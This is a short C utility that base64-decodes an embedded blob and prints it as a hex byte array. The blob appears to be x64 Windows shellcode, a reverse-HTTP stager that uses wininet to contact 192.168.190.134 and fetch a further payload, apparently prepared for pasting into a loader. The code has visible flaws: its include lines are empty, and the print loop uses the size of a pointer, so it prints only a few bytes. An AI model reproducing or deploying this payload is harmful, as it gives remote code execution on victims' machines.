#include #include int b64index(char c) { if (c >= 'A' && c <= 'Z') return c - 'A'; if (c >= 'a' && c <= 'z') return c - 'a' + 26; if (c >= '0' && c <= '9') return c - '0' + 52; if (c == '+') return 62; if (c == '/') return 63; return -1; } int base64_decode(const char* input, unsigned char* output) { int len = strlen(input); int out_idx = 0, val = 0, valb = -8; for (int i = 0; i < len; i++) { int idx = b64index(input[i]); if (idx == -1) continue; val = (val << 6) + idx; valb += 6; if (valb >= 0) { output[out_idx++] = (val >> valb) & 0xFF; valb -= 8; } } return out_idx; } int main() { const char* base64 = "/EiD5PDozAAAAEFRQVBSSDHSZUiLUmBIi1IYSItSIFFWSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZI/8lBizSITTHJSAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVhIAdBeWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1PocAAAAE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzEuMC4wLjAgU2FmYXJpLzUzNy4zNgBZU1pNMcBNMclTU0m6OlZ5pwAAAAD/1egQAAAAMTkyLjE2OC4xOTAuMTM0AFpIicFJx8BQAAAATTHJU1NqA1NJuleJn8YAAAAA/9XoSwAAAC91d0RpWVJOcmNtek83TV91cHNBQlB3al9sbmlrNDg3X0dhQjJTTXRlMWxqWGZEUHQ5OUZidFFBWDVxVmIxUmlBVEpPbnF2eHUtAEiJwVNaQVhNMclTSLgAAiiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX1NaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC68zoVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V"; DWORD shellcodeLen = 711; BYTE* shellcode = (BYTE*)malloc(shellcodeLen); if (!shellcode) { fprintf(stderr, "Memory allocation failed.\n"); return 1; } base64_decode(base64, shellcode); int idx = 0; while ( idx < sizeof(shellcode)) { if (idx == (sizeof(shellcode) - 1) ) { printf("0x%02x ", (unsigned char)shellcode[idx]); } else { printf("0x%02x, ", (unsigned char)shellcode[idx]); } idx++; } free(shellcode); return 0; }